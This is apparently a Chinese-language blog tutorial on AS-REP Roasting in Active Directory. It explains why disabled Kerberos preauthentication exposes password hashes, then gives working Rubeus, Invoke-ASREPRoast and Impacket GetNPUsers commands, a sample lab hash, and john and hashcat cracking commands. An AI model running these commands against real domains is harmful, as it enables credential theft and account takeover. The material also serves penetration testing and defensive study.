AS-REP Roasting

前言

这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。如果用户开启了“不使用Kerberos预认证”,攻击者就可以获取到Kerberos AS-REP,经过用户的RC4-HMAC密码加密过的,然后他就可以离线破解这个凭证了。

身份预认证是kerberos认证的第一步,通常是由KDC认证服务器来管理,目的是为了防止暴力破解攻击。

简单来说,AS-REP Roasting 就是获取用户hash然后离线暴力破解。

原理

在AS-REP阶段,最外层的 enc-part 是用用户密码 Hash 加密的。对于域用户,如果设置了选项” Do not require Kerberos preauthentication”,此时向域控制器的 88 端口发送 AS_REQ 请求,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户 hash 加密的 Login Session Key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令,这就造成了 AS-REP Roasting攻击。

默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就可以用john离线破解

实战操作

在你的本地系统上,利用下面这条powershell命令,可以很容易遍历出哪些用户开启了“Do not require pre-authentication”

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

Rebeus.exe

项目地址:https://github.com/GhostPack/Rubeus

使用VS2022进行编译,需要安装.net3.5

Rubeus.exe asreproast

运行上面这条命令,会得到用户账户的hash值,这个key值用于加密时间戳。将这个值保存下来进行离线爆破密码

Rubeus.exe asreproast /format:john /outfile: hashes.txt

这条命令会将提取到的hash值存储到一个txt文件中,存储格式是John这款工具可以破解的格式。

john --wordlist=1.txt hashes.txt 

也可以修改成hashcat可以破解的格式,在$krb5asrep后面添加$23拼接

$krb5asrep$23$win7admin@hacker.lab:A64A6F4399755048B1CECAB2853D7D0E$3DFE3E718CA325B5027C59D6F7BDA624272E655C40B5B418126CC85383EB15C08CCE760CF14A4B3193B5D1C603B34B1B4EF9D0ADD991C7D3DC863CD01D978E1A4D54E6056E5D9581D23FC6737D697B13B32C53AF91699CFE0D91707CF0BE3492EEB3A0ACA320AC8F453677D90047D2C9D0CD55491E70B028164532F9318E13D25ED1E4168FD9F1F0A4E2AC813816C6F3F9D25419F289C9DAE47D5E84BC236A14B24FBA9EEB01F9BE0B63294C378B60509B24B0481958C03B023C44E4B05C2775C40BE84DAAA885E97CF1118D2064D04B53E08C0748CAF94E637C83687F8F721959EA02C63988D5EC

 hashcat -m 18200 hash.txt 1.txt --force

其他工具

除此之外,还有ASREPROAST.ps1、Impacket的GetNPUsers.py 都可以进行使用

#ASREPROAST.ps1
upload /root/ASREPROAST.ps1
powershell
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast


#GetNPUsers.py
python3 GetNPUsers.py -dc-ip 10.211.55.30 hacker.lab/ -usersfile users.txt -format john -outputfile hashes

john –wordlist=/usr/share/wordlists/rockyou.txt hashes

posted @ 2022-08-13 15:11  九天揽月丶  阅读(573)  评论(0编辑  收藏  举报